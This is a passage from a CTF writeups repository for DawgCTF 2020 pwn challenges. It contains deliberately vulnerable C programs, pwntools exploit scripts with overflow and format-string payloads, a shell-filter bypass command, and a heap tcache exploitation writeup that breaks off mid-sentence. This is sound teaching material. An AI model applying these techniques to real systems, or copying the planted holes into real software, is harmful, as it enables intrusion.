printf("Timmy: "); 137 | print_string(sale_str_1, strlen(sale_str)); 138 | for(int i = 0; i < ITEMS_FOR_SALE; i++){ 139 | printf("%d. %s - %d bells\n", i+1, sale_items[i].name, sale_items[i].price); 140 | } 141 | scanf("%d", &choice); 142 | while((getchar()) != '\n'); 143 | printf("\n"); 144 | if(choice > ITEMS_FOR_SALE || choice < 1){ 145 | printf("Invalid Choice\n"); 146 | return; 147 | } 148 | if(bells - sale_items[choice-1].price > bells){ 149 | print_string(cant_afford, strlen(cant_afford)); 150 | return; 151 | } 152 | make_sale(choice); 153 | } 154 | 155 | void sell_item(int choice){ 156 | printf("Timmy: "); 157 | printf("A %s!\n", my_items[choice].name); 158 | print_string(sure, strlen(sure)); 159 | printf("%d Bells?\n", my_items[choice].price); 160 | my_items[choice].qty -= 1; 161 | bells += my_items[choice].price; 162 | if(my_items[choice].qty == 0){ 163 | valid_items[choice] = 0; 164 | num_items -= 1; 165 | } 166 | print_string(thanks, strlen(thanks)); 167 | } 168 | 169 | void sell(){ 170 | int choice = 0; 171 | print_string(sell_str, strlen(sell_str)); 172 | for(int i = 0; i < BAG_SIZE; i++){ 173 | if(valid_items[i]){ 174 | printf("%d. %s - %s Price: %d bells\n", i+1, my_items[i].name, my_items[i].desc, my_items[i].price); 175 | } 176 | } 177 | scanf("%d", &choice); 178 | while ((getchar()) != '\n'); 179 | printf("\n"); 180 | if(choice < 1 || choice > BAG_SIZE || !valid_items[choice-1]){ 181 | printf("Invalid Choice\n"); 182 | return; 183 | } 184 | sell_item(choice-1); 185 | } 186 | 187 | void store(){ 188 | while(1){ 189 | int choice = 0; 190 | printf("1. I want to sell\n"); 191 | printf("2. What's for sale?\n"); 192 | printf("3. See you later.\n"); 193 | printf("Choice: "); 194 | scanf("%d", &choice); 195 | while ((getchar()) != '\n'); 196 | printf("\n"); 197 | switch(choice){ 198 | case 1: 199 | sell(); 200 | break; 201 | case 2: 202 | if(num_items >= BAG_SIZE){ 203 | print_string(bag_full, strlen(bag_full)); 204 | }else{ 205 | sale(); 206 | } 207 | break; 208 | case 3: 209 | exit_game(); 210 | return; 211 | } 212 | } 213 | } 214 | 215 | int main(){ 216 | setvbuf(stdout, 0, _IONBF, 0); 217 | setup_sale_items(); 218 | setup_my_items(); 219 | print_welcome(); 220 | store(); 221 | return 0; 222 | } 223 | -------------------------------------------------------------------------------- /pwn/animal_crossing/animal_crossing_remote: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/animal_crossing/animal_crossing_remote -------------------------------------------------------------------------------- /pwn/animal_crossing/animal_crossing_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | if "rem" in sys.argv: 4 | proc = remote("ctf.umbccd.io", 4400) 5 | else: 6 | proc = process("./animal_crossing_remote") 7 | 8 | #Buy an item 9 | print proc.recvuntil("Choice: ") 10 | proc.sendline("2") 11 | 12 | #Buy a tarantula 13 | print proc.recvuntil("420000 bells") 14 | proc.sendline("2") 15 | 16 | #Sale is incorrectly initialized, so sell a lot of tarantulas 17 | for i in range(0, 55): 18 | print proc.recvuntil("Choice: ") 19 | proc.sendline("1") 20 | print proc.recvuntil("8000 bells") 21 | proc.sendline("5") 22 | 23 | #Sell an item because your bag is full 24 | print proc.recvuntil("Choice: ") 25 | proc.sendline("1") 26 | 27 | #Doesn't matter what item you solve so long as you only have one 28 | print proc.recvuntil("8000 bells") 29 | proc.sendline("1") 30 | 31 | #Buy an item 32 | print proc.recvuntil("Choice: ") 33 | proc.sendline("2") 34 | 35 | #Buy a flag 36 | print proc.recvuntil("420000 bells") 37 | proc.sendline("6") 38 | 39 | proc.interactive() 40 | -------------------------------------------------------------------------------- /pwn/bof_to_the_top/README.md: -------------------------------------------------------------------------------- 1 | # Bof to the Top - pwn 100 2 | # Author: trashcanna @annatea16 3 | 4 | bof_sol.py - Solution Script\ 5 | bof.c - Source Code, distributed\ 6 | bof - Executable, distributed\ 7 | flag.txt - Flag file, not distributed 8 | -------------------------------------------------------------------------------- /pwn/bof_to_the_top/bof: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/bof_to_the_top/bof -------------------------------------------------------------------------------- /pwn/bof_to_the_top/bof.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | #include "string.h" 3 | #include "stdlib.h" 4 | 5 | // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof 6 | 7 | void audition(int time, int room_num){ 8 | char* flag = "/bin/cat flag.txt"; 9 | if(time == 1200 && room_num == 366){ 10 | system(flag); 11 | } 12 | } 13 | 14 | void get_audition_info(){ 15 | char name[50]; 16 | char song[50]; 17 | printf("What's your name?\n"); 18 | gets(name); 19 | printf("What song will you be singing?\n"); 20 | gets(song); 21 | } 22 | 23 | void welcome(){ 24 | printf("Welcome to East High!\n"); 25 | printf("We're the Wildcats and getting ready for our spring musical\n"); 26 | printf("We're now accepting signups for auditions!\n"); 27 | } 28 | 29 | int main(){ 30 | welcome(); 31 | get_audition_info(); 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /pwn/bof_to_the_top/bof_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | if "rem" in sys.argv: 4 | proc = remote("ctf.umbccd.io", 4000) 5 | else: 6 | proc = process("./bof") 7 | 8 | proc = remote("ctf.umbccd.io", 4000) 9 | 10 | #name doesn't matter, we'll overflow song 11 | print proc.readuntil("name?") 12 | proc.sendline("AAAA") 13 | 14 | #overflow song with return address to win along with the time 1200 and room number 366 15 | print proc.readuntil("singing?") 16 | proc.sendline(cyclic(112) + p32(0x08049182) + "BBBB" + p32(0x4b0) + p32(366)) 17 | proc.interactive() 18 | -------------------------------------------------------------------------------- /pwn/bof_to_the_top/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{wh@t_teAm?} 2 | -------------------------------------------------------------------------------- /pwn/cookie_monster/README.md: -------------------------------------------------------------------------------- 1 | # Cookie Monster - pwn 250 2 | # Author: trashcanna @annatea16 3 | 4 | cookie_sol.py - Solution Script\ 5 | cookie_monster.c - Source Code, not distributed\ 6 | cookie_monster - Executable, distributed\ 7 | flag.txt - Flag file, not distributed 8 | -------------------------------------------------------------------------------- /pwn/cookie_monster/cookie_monster: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/cookie_monster/cookie_monster -------------------------------------------------------------------------------- /pwn/cookie_monster/cookie_monster.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | #include "stdlib.h" 3 | #include "time.h" 4 | #include "unistd.h" 5 | 6 | int saved_cookie; 7 | 8 | void flag(){ 9 | char *argv[] = {"/bin/cat", "flag.txt", 0}; 10 | execve("/bin/cat", argv, 0); 11 | } 12 | 13 | void check_cookie(int cookie){ 14 | if(cookie != saved_cookie){ 15 | printf("*** Stack Smashing Detected *** : Cookie Value Corrupt!\n"); 16 | exit(-1); 17 | } 18 | } 19 | 20 | void conversation(){ 21 | srand(time(0)); 22 | int cookie = rand(); 23 | saved_cookie = cookie; 24 | char name[8]; 25 | char answer[5]; 26 | printf("\nOh hello there, what's your name?\n"); 27 | fgets(name, 8, stdin); 28 | printf("Hello, "); 29 | printf(name); 30 | printf("\nWould you like a cookie?\n"); 31 | gets(answer); 32 | check_cookie(cookie); 33 | } 34 | 35 | void print_cookie(){ 36 | printf(" _ _\n"); 37 | printf(" _/0\\/ \\_\n"); 38 | printf(" .-. .-` \\_/\\0/ \'-.\n"); 39 | printf(" /:::\\ / ,_________, \\\n"); 40 | printf(" /\\:::/ \\ \'. (:::/ `\'-;\n"); 41 | printf(" \\ `-\'`\\ \'._ `\"\'\"\'\\__ \\\n"); 42 | printf(" `\'-. \\ `)-=-=( `, |\n"); 43 | printf(" \\ `-\"` `\"-` /\n"); 44 | printf("C is for cookie is for me"); 45 | } 46 | 47 | int main(){ 48 | print_cookie(); 49 | conversation(); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /pwn/cookie_monster/cookie_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import ctypes 3 | 4 | LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') 5 | 6 | if "rem" in sys.argv: 7 | proc = remote("ctf.umbccd.io", 4200) 8 | else: 9 | proc = process("./cookie_monster") 10 | 11 | #srand on the current time to get same seed as server 12 | LIBC.srand(LIBC.time(0)) 13 | 14 | #read return address from stack 15 | print proc.recvuntil("name?") 16 | proc.sendline("%11$lx") 17 | proc.recvline() 18 | addr = proc.recvline() 19 | print addr 20 | 21 | #calculate address of function that prints flag 22 | addr = addr.split()[1] 23 | addr = int(addr, 16) 24 | addr = addr + 0x11b5 - 0x134f 25 | print hex(addr) 26 | 27 | #send payload 28 | proc.recvuntil("cookie?") 29 | proc.sendline("A"*13 + p32(LIBC.rand()) + "B"*8 + p64(addr)) 30 | proc.interactive() 31 | -------------------------------------------------------------------------------- /pwn/cookie_monster/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{oM_n0m_NOm_I_li3k_c0oOoki3s} 2 | -------------------------------------------------------------------------------- /pwn/coronacation/README.md: -------------------------------------------------------------------------------- 1 | # Coronacation - pwn 400 2 | # Author: trashcanna @annatea16 3 | 4 | corona_sol.py - Solution Script\ 5 | coronacation.c - Source Code, not distributed\ 6 | coronacation - Executable, distributed\ 7 | flag.txt - Flag file, not distributed 8 | -------------------------------------------------------------------------------- /pwn/coronacation/corona_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch="amd64" 3 | 4 | elf = ELF("./coronacation",False) 5 | 6 | if 'rem' in sys.argv: 7 | r = remote("ctf.umbccd.io", 4300) 8 | else: 9 | r = process("./coronacation", env={}) 10 | if '-d' in sys.argv: 11 | script = ''' 12 | boff 0x13f8 13 | boff 0x132f 14 | c 15 | ''' 16 | gdb.attach(r, script) 17 | 18 | # Get leaks of the stack and the return address into main 19 | r.send("1.%14$lx.%15$lx.\n") 20 | r.recvuntil("chose: 1.") 21 | stack = int(r.recvuntil(".")[:-1], 16)-8 # subtract so it becomes the return address into main+... 22 | 23 | print "STACK: "+hex(stack) 24 | 25 | #calculate the address of the flag function 26 | elf.address = int(r.recvuntil(".")[:-1], 16)-elf.symbols['main']-0xe 27 | print "TEXT: "+hex(elf.address) 28 | 29 | print elf.symbols['win']&0xffff 30 | 31 | #overwrite the last two bytes of return with the last two bytes of win 32 | pl = "%"+str(elf.symbols['win']&0xffff)+"x%11$hn" 33 | pl = pl.ljust(0x28,"\0") 34 | pl += flat(stack) 35 | r.send(pl+'\n') 36 | 37 | r.interactive() 38 | -------------------------------------------------------------------------------- /pwn/coronacation/coronacation: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/coronacation/coronacation -------------------------------------------------------------------------------- /pwn/coronacation/coronacation.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | #include "stdlib.h" 3 | #include "string.h" 4 | #include "unistd.h" 5 | 6 | void win(){ 7 | printf("I'm not sure how, but your terrible leadership worked!"); 8 | char *argv[] = {"/bin/cat", "flag.txt", 0}; 9 | execve("/bin/cat", argv, 0); 10 | } 11 | 12 | void lose1(){ 13 | printf("\nYour test comes back negative, but no one trusts your doctor.\n"); 14 | printf("The country goes into mass hysteria and society collapses.\n"); 15 | } 16 | 17 | void lose2(){ 18 | printf("\nThe Christian community praises your good sense while buying up all the toilet paper in the country.\n"); 19 | printf("As the shelves run dry and society collapses.\n"); 20 | } 21 | 22 | void lose3(){ 23 | printf("\nHospitals become overrun with cases and many people without healthcare can't afford treatment\n"); 24 | printf("Society collapses as hospitals fill.\n"); 25 | } 26 | void lose4(){ 27 | printf("\nNo one under the age of 50 cares about the emergency and bars have their best weekend in months.\n"); 28 | printf("The virus rapidly spreads and society collapses.\n"); 29 | } 30 | 31 | void no_panic(){ 32 | char answer[64]; 33 | printf("\nExcellent choice. It's all a hoax anyway!\n"); 34 | printf("Oof WHO just announced it's a pandemic AND American treasure Thomas Hanks is quarentined...\n"); 35 | printf("1. Get tested and show everyone your immune system is the best. Just the greatest\n"); 36 | printf("2. Call for a national day of prayer. God will save us!\n"); 37 | fgets(answer, 50, stdin); 38 | printf("You chose: "); 39 | printf(answer); 40 | if(strncmp("1", answer, 1) == 0){ 41 | lose1(); 42 | }else if(strncmp("2", answer, 1) == 0){ 43 | lose2(); 44 | } 45 | } 46 | 47 | void close_borders(){ 48 | char answer[64]; 49 | printf("\nSo we closed our borders. Weren't we doing that anyway with the wall?\n"); 50 | printf("It's still spreading within our borders what do we do now?\n"); 51 | printf("1. Reassure everyone the country can handle this. Our healthcare system is the best. Just the greatest.\n"); 52 | printf("2. Make it a national emergency. Show the people we don't need Bernie's healthcare plan.\n"); 53 | fgets(answer, 50, stdin); 54 | printf("You chose: "); 55 | printf(answer); 56 | if(strncmp("1", answer, 1) == 0){ 57 | lose3(); 58 | }else if(strncmp("2", answer, 1) == 0){ 59 | lose4(); 60 | } 61 | } 62 | 63 | void play_game(){ 64 | char answer[64]; 65 | printf("Welcome to this choose your own adventure game!\n"); 66 | printf("You're President Ronald Drump and are tasked with leading the nation through this crisis.\n"); 67 | printf("So what do you want to do?\n"); 68 | printf("1. Close the borders.\n"); 69 | printf("2. Tell everyone not to panic. It's just the Fake News media freaking out.\n"); 70 | fgets(answer, 50, stdin); 71 | printf("You chose: "); 72 | printf(answer); 73 | if(strncmp("1", answer, 1) == 0){ 74 | close_borders(); 75 | }else if(strncmp("2", answer, 1) == 0){ 76 | no_panic(); 77 | } 78 | } 79 | 80 | int main(){ 81 | play_game(); 82 | } 83 | -------------------------------------------------------------------------------- /pwn/coronacation/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{st@y_Th3_f@ck_h0m3} 2 | -------------------------------------------------------------------------------- /pwn/nash/README.md: -------------------------------------------------------------------------------- 1 | # Nash - pwn 150 && Nash2 - pwn 200 2 | # Author: Austin Norby of Blue Star Software 3 | 4 | solution.txt - Solution\ 5 | nash - Executable, not distributed\ 6 | flag1.txt - Flag file, not distributed\ 7 | nash2 - Executable, not distributed\ 8 | flag2.txt - Flag file, not distributed\ 9 | \ 10 | Midway through, we noticed an unintended solve of nash with `cat ' input 7 | echo $input | sed 's/ //g' | sed 's/{//g'| sed 's/}//g' | sed 's/IFS//g' | sed 's/(//g' | sed 's/)//g' | /bin/bash 8 | done 9 | -------------------------------------------------------------------------------- /pwn/nash/nash2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | EXIT="exit" 3 | 4 | while [ 1 ] 5 | do 6 | read -p 'nash> ' input 7 | echo $input | sed 's/ //g' | sed 's/{//g'| sed 's/}//g' | sed 's/IFS//g' | sed 's/(//g' | sed 's/)//g' | sed 's/[<>]//g'| /bin/bash 8 | done 9 | -------------------------------------------------------------------------------- /pwn/nash/solution.txt: -------------------------------------------------------------------------------- 1 | #################### 2 | ### NoSpacesBash ### 3 | #################### 4 | 5 | Solution: 6 | Bash can use $'' to specially replace escape sequences with its corresponding 7 | characters. We can use \x20, which is hex for to put a space between 8 | 'cat' and 'flag.txt'. We can also define an environment variable that will 9 | hold the entire command and after assignment, which will always be successful 10 | we can && and substitute the command we just defined to display the flag. 11 | 12 | CMD=$'cat\\x20flag.txt'&&$CMD 13 | -------------------------------------------------------------------------------- /pwn/onlockdown/README.md: -------------------------------------------------------------------------------- 1 | # On Lockdown - pwn 50 2 | # Author: trashcanna @annatea16 3 | 4 | lockdown_sol.py - Solution Script\ 5 | onlockdown.c - Source Code, distributed\ 6 | onlockdown - Executable, distributed\ 7 | flag.txt - Flag file, not distributed 8 | -------------------------------------------------------------------------------- /pwn/onlockdown/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{s3ri0u$ly_st@y_h0m3} 2 | -------------------------------------------------------------------------------- /pwn/onlockdown/lockdown_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | if "rem" in sys.argv: 4 | proc = remote("ctf.umbccd.io", 4500) 5 | else: 6 | proc = process("./onlockdown") 7 | proc.recvuntil("you?") 8 | proc.sendline("A"*64 + p32(0xdeadbabe)) 9 | proc.interactive() 10 | -------------------------------------------------------------------------------- /pwn/onlockdown/onlockdown: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/onlockdown/onlockdown -------------------------------------------------------------------------------- /pwn/onlockdown/onlockdown.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void flag_me(){ 6 | system("cat flag.txt"); 7 | } 8 | 9 | void lockdown(){ 10 | int lock = 0; 11 | char buf[64]; 12 | printf("I made this really cool flag but Governor Hogan put it on lockdown\n"); 13 | printf("Can you convince him to give it to you?\n"); 14 | gets(buf); 15 | if(lock == 0xdeadbabe){ 16 | flag_me(); 17 | }else{ 18 | printf("I am no longer asking. Give me the flag!\n"); 19 | } 20 | } 21 | 22 | int main(){ 23 | lockdown(); 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /pwn/tiktok/README.md: -------------------------------------------------------------------------------- 1 | # TiK ToK - pwn 500 2 | # Author: trashcanna @annatea16 3 | 4 | trashcanna_sol.py - Solution Script\ 5 | pernicious_sol.py - Solution Script, but with real comments\ 6 | tiktok.c - Source Code, not distributed\ 7 | tiktok - Executable, distributed\ 8 | songs.zip - song files, distributed\ 9 | libc-2.27.so - libc, distributed 10 | flag.txt - Flag file, not distributed\ 11 | 12 | -------------------------------------------------------------------------------- /pwn/tiktok/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Tik Tok 2 | __Category__: Pwn 3 | __Points__: 500 4 | 5 | > Don't stop make it pop 6 | > 7 | > nc ctf.umbccd.io 4700 8 | > 9 | > Author: trashcanna 10 | > 11 | > Attachments: [tiktok] [libc.2.27.so] [songs.zip] 12 | 13 | ### I came to start the rukus 14 | Like every parent has a favorite child, every author also has a favorite challenge. 15 | Mine just so happened to be TiK ToK, which first came about in October 2019 when 16 | pernicious (from RPISEC) and I were discussing interesting libc functions (as one does). I believe 17 | I texted him something along the lines of `idea: strtok but kesha themed`. After that, the 18 | challenge went through a multitide of iterations until it became what it is today. 19 | Special thanks to pernicious for auditing all the challenges I wrote to check for 20 | unintended solutions, spelling errors involving the word `borders`, and to just generally 21 | make sure they didn't suck. I'd also like to thank the queen herself Ms. Kesha Rose 22 | Sebert for the inspiration and for providing background music for this writeup. 23 | 24 | ### now the party don't start til I walk in 25 | So for this challenge competitors were given a 64-bit executable called `tiktok`, a bunch 26 | of song files in `songs.zip`, and a nice little `libc.2.27.so`. As the author, when 27 | I was solving it I had the luxury of having source in front of me, so I won't go too far 28 | into the reversing aspect (namely because I popped this baby in IDA once, said "looks 29 | good to me", and never looked at it again). Now let's get this party started. 30 | 31 | We can run checksec and see that we've got most of the standard protections in place. 32 | No PIE though, which is nice. Full RELRO does mean that targeting the GOT isn't an 33 | option. 34 | 35 | ``` 36 | [*] '/home/statccato/DawgCTF/tiktok/tiktok' 37 | Arch: amd64-64-little 38 | RELRO: Full RELRO 39 | Stack: Canary found 40 | NX: NX enabled 41 | PIE: No PIE (0x400000) 42 | ``` 43 | 44 | Upon first running the binary, we're greeted with a nice little welcome message and a 45 | list of options from what I deemed the `TiK ToK Rock Bot`. 46 | 47 | ``` 48 | Welcome to my tik tok rock bot! 49 | I really like Ke$ha, can you help me make a playlist? 50 | 51 | So what would you like to do today? 52 | 1. Import a Song to the Playlist 53 | 2. Show Playlist 54 | 3. Play a song from the Playlist 55 | 4. Remove a song from the Playlist 56 | 5. Exit 57 | Choice: 58 | ``` 59 | 60 | Okay cool. Looks like we can import a song, show the playlist, play a song from the playlist, 61 | and remove a song from the playlist. If this is screaming heap to you, you're on the right track. 62 | Looking a little closer at how it all works under the hood, we can see that we've got a song struct 63 | with some fairly normal members: a song_path, a file descriptor, an album, a song, and the contents. 64 | We also get 50 of these bad boys to play around with, which will become important later. Other than 65 | that we've got a song_count, which keeps track of the number of songs in the playlist. All of this is 66 | stored in the .bss. 67 | 68 | ```c 69 | #define NUM_SONGS 50 70 | 71 | struct song{ 72 | char song_path[24]; \\ 24 bytes 73 | int fd; \\ 4 bytes with 4 bytes padding 74 | char* album; \\ 8 bytes 75 | char* song; \\ 8 bytes 76 | char* contents; \\ 8 bytes 77 | }; \\ 56 bytes 78 | 79 | int song_count; 80 | struct song songs[NUM_SONGS]; 81 | ``` 82 | 83 | Okay so now that we know how things are being stored, let's take a closer look at exactly how we're able 84 | to create this playlist (and how we can make it play the best song of all, `system("/bin/sh")`). 85 | 86 | ### get sleazy 87 | 88 | Poking around the code a little more, we can see we're able to read in the song files found in songs.zip. 89 | Only problem is, we don't have a whole lot of control on the songs we're importing. Calling import invites 90 | us to view a call to `system("ls -R")` in the current directory. This is fine and dandy, except we can only 91 | import a song with a path that is a valid file path, begins with a character between `A` and `Z`, and doesn't 92 | contain `flag` or `..`. All of the songs are contained in album folders, with names like `Animal/animal.txt` and 93 | `Warrior/allthat.txt`. 94 | 95 | ```c 96 | songs[song_count].fd = open(songs[song_count].song_path, O_RDONLY); 97 | if(songs[song_count].fd == -1 || songs[song_count].song_path[0] < 'A' || songs[song_count].song_path[0] > 'Z' || 98 | strstr(songs[song_count].song_path, "flag") || strstr(songs[song_count].song_path, "..")){ 99 | printf("Error: Bad filepath, exiting\n"); 100 | exit(-1); 101 | } 102 | ``` 103 | 104 | So directory traversal and a simple "open the flag, play the flag" is out. Cool. Let's look a little closer at what 105 | the `import_song` function has to offer. Before we open the song and ensure it has a valid path, we read in the 106 | song path and if the last character is a newline, we replace that newline with a null terminator. 107 | From a functionality perspective, this makes sense, as attempting to open a file with the newline would fail. 108 | It is interesting to note then that if we send a song path without a newline, we can get our little song path 109 | to not have a null terminator and can fill the array. 110 | 111 | ```c 112 | int nread = read(0, songs[song_count].song_path, sizeof(songs[song_count].song_path)); 113 | if(nread <= 0){ 114 | printf("Error reading input, exiting\n"); 115 | exit(-1); 116 | } 117 | if(songs[song_count].song_path[nread-1] == '\n'){ 118 | songs[song_count].song_path[nread-1] = '\x00'; 119 | } 120 | ``` 121 | 122 | After this, we attempt to open the file and set the file descriptor. So long as that succeeds, we're good 123 | to go. Here's where things get interesting. After setting the file descriptor, we make two calls to strtok to get 124 | the name of the album and song. These calls are `songs[song_count].album = strtok(songs[song_count].song_path, "/")` and 125 | `songs[song_count].song = strtok(NULL, ".")`. The null here means we begin at the first character after the delimeter in the 126 | previous call to strtok. It's also notable that strtok overwrites the delimeter with a null byte. So if we were to pass in a 127 | path of `Cannibal/blow.txt`, the first call to strtok would give us an album of `Cannibal` and the second a song of `blow`. The path, 128 | however, would look something like `Cannibal\x00blow\x00txt`. Knowing that, we can begin to talk about the first bug our 129 | Ke$ha superfan left in this code. 130 | 131 | Our file just has to return a valid file descriptor. It doesn't have to actually be a file, necessarily. Directories can 132 | also be opened, so if we sent `Warrior/` it would work just fine. Coincidentally, `Warrior//` would also work just fine. 133 | As would `Warrior///`. See where I'm going? We still run into a problem though, because this doesn't get you all that 134 | much. Let's take a look back to our song struct and take a closer look at the members. 135 | 136 | ```c 137 | char song_path[24]; 138 | int fd; 139 | ``` 140 | 141 | Looks like our path butts right up against the file descriptor, like my best friend to my middle school crush when 142 | We R Who We R came on at the eighth grade dance. So if we fill up a `song_path` with a valid directory, we can make 143 | the file descriptor a continuation of the path (everyone say "thank you endianness"). What does this get us? 144 | First, it gets us an aside on file descriptors. 145 | 146 | The first three file descriptors (0, 1, and 2) correspond to stdin, stdout, and stderr. After this, file descriptors 147 | are assigned incrementally, beginning at 3. So in our case, the first song you import will be given a file descriptor of 148 | 3, the second 4, and so on. 149 | 150 | | fd | Corresponding File | 151 | |------|--------------------| 152 | | 0 | stdin | 153 | | 1 | stdout | 154 | | 2 | stderr | 155 | | 3 | first song file | 156 | 157 | So if we can somehow get a song to have a file descriptor of 0, we'd be able to read in from stdin in our `play_song` 158 | function. Knowing that we can make the file descriptor act as part of the non-null-terminated `song_path` and that strtok overwrites the delimeter 159 | with a null byte, we can begin to formulate how to get our read from stdin. First, we can generate enough 160 | songs such that the next song will have `.` as a file descriptor, otherwise known as 0x2e (less than our 50 song limit). We then import a song, passing in a directory 161 | that is long enough to fill the buffer and have the file descriptor included in the non null terminated path. 162 | Then when `songs[song_count].song = strtok(NULL, ".")` is called, strtok will find the first '.' (0x2e) in the 163 | string (which in this case is actually the file descriptor), and replace it with a null byte. Now the song has an fd of 0, 164 | which allows us to read from stdin in the play_song function. 165 | 166 | So to recap, our exploit currently looks something like this: 167 | 168 | ```python 169 | def addsong(songname): 170 | proc.recvuntil("Choice:") 171 | proc.sendline("1") 172 | proc.recvuntil("path.") 173 | proc.send(songname) 174 | 175 | for i in range(3, ord('.')): 176 | addsong("Animal/animal.txt") 177 | addsong("Animal" + "/" * (24 - len("Animal"))) 178 | ``` 179 | 180 | ### this place about to blow 181 | 182 | Before we get into any more of the exploitation, this seems like a good time for a little heap 183 | crash course. This won't be all-inclusive by any means, but should give some necessary background 184 | before we procede. 185 | 186 | The glibc allocator keeps track of free chunks in doubly linked lists which are organized by size, known 187 | as bins. 188 | One exception to this is tcache, which uses one singly linked list per size. The maximum tcache 189 | size is 0x420, so if we make an allocation of a size less than 0x420 and free it, the freed chunk 190 | will become the tcache head. Free chunks that do not fit in the tcache will go in the unsorted bin, one of the doubly linked lists, instead 191 | of the tcache. Allocating a tcache size will use the head of the list, if it exists 192 | (tcache is FIFO). In glibc 2.27, there are virtually zero security checks in place for tcache. From an exploitation 193 | perspective, taking control of this list will let us get allocations wherever we want. 194 | 195 | ### let's make the most of the night like we're gonna die young 196 | 197 | Or like the CTF is about to end. Okay so now we can set a song's file descriptor to zero, but what does that get us? Looking at the 198 | `play_song` function we can see what actually gets read in when we play a song. When we 199 | play a song, we call read on the file descriptor associated with that song, reading up until the first newline. 200 | If we take a look at one of our song files, we see this is the length of the file. After this, we call malloc 201 | on one more than said length, presumably to make room for the null terminator, and store this pointer as the song's `contents` field. 202 | Then, we memset the song's contents to zero and read `file_len` bytes to the contents. 203 | Because we can now read in from stdin, we can control the `file_len` variable and thus the call to malloc. 204 | By passing in `-1\n` to our first call to read, we can call `malloc(0)` (as `file_len`+1 will overflow), memset zero bytes of the contents, 205 | and read in as many bytes as we'd like into our song's contents. 206 | 207 | ```c 208 | if (!songs[choice].contents){ 209 | for(int i = 0; i < sizeof(length); i++){ 210 | read(songs[choice].fd, length+i, 1); 211 | if(length[i] == '\n'){ 212 | length[i] = '\x00'; 213 | break; 214 | } 215 | } 216 | file_len = atoi(length); 217 | songs[choice].contents = malloc(file_len + 1); 218 | memset(songs[choice].contents, 0, file_len+1); 219 | read(songs[choice].fd, songs[choice].contents, file_len); 220 | } 221 | ``` 222 | 223 | Now we can get a heap overflow using the read within the play_song function. With this overflow, we'll want 224 | to take control of the tcache linked list. To do this, we first need to make some allocations. 225 | Lucky for us, Ke$ha conveniently has songs that are both tcache size and unsorted chunk 226 | size (thanks queen). From here, we have to modify the exploit we made just a little bit, because we'll need songs that 227 | are both tcache size and unsorted chunk size. All song files have the song length in the first line, 228 | then the song contents, which is how they're read in. The song animal has a length of 0x3b2, which is 229 | smaller than the maximum tcache size of 0x420. Dinosaur, conversely, has a length of 0x67c, larger than 230 | the maximum tcache size and would (when freed) go in the unsorted bin. This means both of these are 231 | good choices for files. 232 | 233 | ```python 234 | for i in range(3, ord('.') - 1): 235 | addsong("Animal/animal.txt") 236 | addsong("Animal/dinosaur.txt") 237 | addsong("Animal" + "/" * (24 - len("Animal"))) 238 | ``` 239 | 240 | Also to note is that we aren't able to read a song multiple times, thanks to this line in play_song 241 | `if (!songs[choice].contents){`. This means we can only read in from stdin once with this song, so 242 | we'll have to make it count. Looking back at our song object, we can see that all the songs contain 243 | a character array (the path), with two pointers into the array (album and song). With this overwrite, 244 | we'll want to overwrite a tcache pointer to point somewhere in the songs array. 245 | This creates a fake linked list in which we control where things are allocated on the 246 | heap. In order to do this, however, we'll first have to setup the heap in a way that allows us to 247 | muck with a tcache pointer. Now we can go back to our handy songs that we created earlier. 248 | We can play song 43 (dinosaur, an unsorted bin size) then song 42 (animal, a tcache size). 249 | Malloc will give us a layout of [0x690][0x3c0], because malloc rounds up (so our 250 | 0x67c allocation will have a chunk size of 0x690 (nice)). 251 | 252 | Before going any further, we should probably take a look at exactly what happens when we remove a song. First we pass in an int to the function 253 | equal to the song number (which is 1 more than the index into the song array). After ensuring this 254 | choice is valid, we set the song, album, and path to null. We also free the song contents and 255 | close the file descriptor. This is notable, because it means that if we were to free the song we 256 | overwrote with the 0 file descriptor, we would close stdin. That'd be pretty lame of us so we'll 257 | avoid that. 258 | 259 | ```c 260 | printf("Removing: %s from %s\n", songs[choice].song, songs[choice].album); 261 | songs[choice].song = 0; 262 | songs[choice].album = 0; 263 | free(songs[choice].contents); 264 | songs[choice].contents = 0; 265 | memset(songs[choice].song_path, 0, sizeof(songs[choice].song_path)); 266 | close(songs[choice].fd); 267 | songs[choice].fd = 0; 268 | ``` 269 | 270 | After allocating our two songs, we can remove them from the playlist thus freeing the chunks associated with them. 271 | After this, our heap will look something like [0x690 unsorted][0x3c0 tcache]. After this, we're ready 272 | to use our call to read on stdin and perform the overflow. By calling malloc on a size of zero, we're 273 | returned a chunk of 0x20 in size from our first unsorted bin. This means the heap will look something 274 | 